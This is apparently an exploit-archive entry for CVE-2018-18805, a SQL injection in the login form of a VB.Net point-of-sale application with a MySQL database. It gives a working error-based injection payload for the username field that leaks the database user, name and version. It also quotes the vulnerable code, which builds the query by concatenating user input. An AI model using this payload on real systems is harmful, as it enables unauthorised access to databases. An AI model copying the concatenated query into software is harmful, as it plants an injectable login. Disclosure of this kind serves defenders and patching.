Point Of Sales (POS) In VB.Net MYSQL Database 1.0 SQL Injection

`# Exploit Title: Point of Sales (POS) in VB.Net MySQL Database 1.0 - SQL Injection  
# Dork: N/A  
# Date: 2018-10-29  
# Exploit Author: Ihsan Sencan  
# Vendor Homepage: https://www.sourcecodester.com/users/janobe  
# Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/poinofsales_0.zip  
# Version: 1.0  
# Category: Windows  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: CVE-2018-18805  
  
# POC:   
# 1)  
# User: '||(SEleCT 'Efe' FRoM DuaL WheRE 113=113 AnD (SEleCT 64 FRom(SELeCT CoUNT(*),ConCAT(ConCAT(0x203a20,UsER(),DAtABAsE(),VErSIoN()),(SelEcT (ELT(64=64,1))),FLooR(RAnD(0)*2))x FrOM INFOrMATIoN_SchEMA.pLUGINS GroUP By x)a))||'  
# Pass: Null  
#   
# https://2.bp.blogspot.com/-qlfhS-GUaCQ/W9Yt3aHdLHI/AAAAAAAAENg/Hmxj2lZ62cYITPlTNaNrwwAgh379Cbi8ACLcBGAs/s1600/sql3.png  
#   
#[PATH]/LoginForm1.vb  
#....  
#11 Private Sub OK_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles OK.Click  
#12 sql = "SELECT * FROM `tblemployee` WHERE `USERNAME` ='" & UsernameTextBox.Text & "' and `PASSWRD` = sha1('" & PasswordTextBox.Text & "')"  
#13 janobefindthis(sql)  
#14   
#15 If GetNumRows() = 1 Then  
#16 LoadSingleResult("login")  
#17 ' MsgBox(fullname)  
#18 Form1.statsloginname.Text = fullname  
#19 Form1.tsLogin.Text = "Logout"  
#20   
#21 If usertype = "Administrator" Then  
#22 Visible_Admin(True)  
#23 Else  
#24 Visible_Cashier(True)  
#25 End If  
#26 Else  
#27 MsgBox("Username or Password not registered!")  
#28 End If  
#29   
#30   
#31 Me.Close()  
#32 End Sub  
#....  
  
  
`